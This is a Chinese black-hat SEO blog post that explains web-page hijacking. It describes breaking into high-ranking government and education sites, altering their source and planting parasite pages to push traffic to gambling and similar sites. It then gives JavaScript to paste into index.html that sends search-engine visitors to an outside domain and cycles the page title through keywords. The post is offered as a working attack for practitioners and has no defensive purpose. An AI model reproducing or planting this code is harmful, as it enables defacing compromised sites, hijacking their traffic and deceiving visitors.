【黑帽SEO】SEO中html恶意劫持原理及html劫持代码

众所周知,黑帽SEO中zui常见的手法便是网页劫持了。其劫持手法众多,asp/aspx/php劫持、js劫持、html劫持等等。今天林云跟大家先讲讲html劫持的原理及劫持代码。

黑帽SEO

网页代码劫持原理

网页劫持是目前黑帽SEO或者说黑产zui喜欢的一种网页引流方式,此手法往往通过入侵政府、教育机构网站(权重高),修改网站源代码、放寄生虫程序、设置二级目录反向代理等实现。网页劫持可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;表现形式可以是劫持跳转,也可以是劫持呈现的网页内容,目前被广泛应用于私服、博彩等暴利行业。

html劫持代码

如下:message[0]中的关键词并不是你的关键词,而是给网站原有的人看的;

找到index.html文件,编辑,代码记住是放到下面;

接下来我们看下代码实现方法:

< script LANGUAGE = "Javascript" >
var s = document.referrer
if (s.indexOf("google") > 0 || s.indexOf("baidu") > 0 || s.indexOf("yahoo") > 0) location.href = "https://www.lurbk.com"; < /script>
<script LANGUAGE="Javascript">
 	  var message = new Array();
 	  message[0] = "一起学习网|黑帽seo|seo教程|seo自学网";
 	  var reps = 1;
 	  var speed = 0;/ / Set the overall typing speed(larger number = slower action).  
var hold = 4111111 // set the length of time to display the whole phrase before retyping (larger number = longer)
  
var p = message.length;  
var q = 0;  
var r = 0;  
var C = 0;  
var mC = 0;  
var s = 0;  
var sT = null;  
if (reps < 1) {  reps = 1;  
}  
function setMessage() {  typing = message[mC];  q = typing.length;  r = q + hold;  typeMessage();  
}  
function typeMessage() {  
    if (s > r) {  s = 0;  
    }  
    if (s > q) {  document.title = typing;  
    }  
    else {  document.title = typing.substr(0, s);  
    }  
    if (C < (r * reps)) {  sT = setTimeout("typeMessage()", speed);  C++;  s++;  
    }  
    else {  C = 0;  s = 0;  mC++;  
        if (mC > p - 1) {
            mC = 0;
        }  sT = null;  setMessage();  
    }  
}  setMessage();   < /script>

以上就是黑帽SEO中网页劫持也就是html劫持原理以及html劫持代码的知识分享,希望能够帮助到我们众多的seoer。

原创文章:《【黑帽SEO】SEO中html恶意劫持原理及html劫持代码》,作者:林云SEO,如若转载,请注明原文及出处:https://www.tang-seo.com/626.html

发表评论

登录后才能评论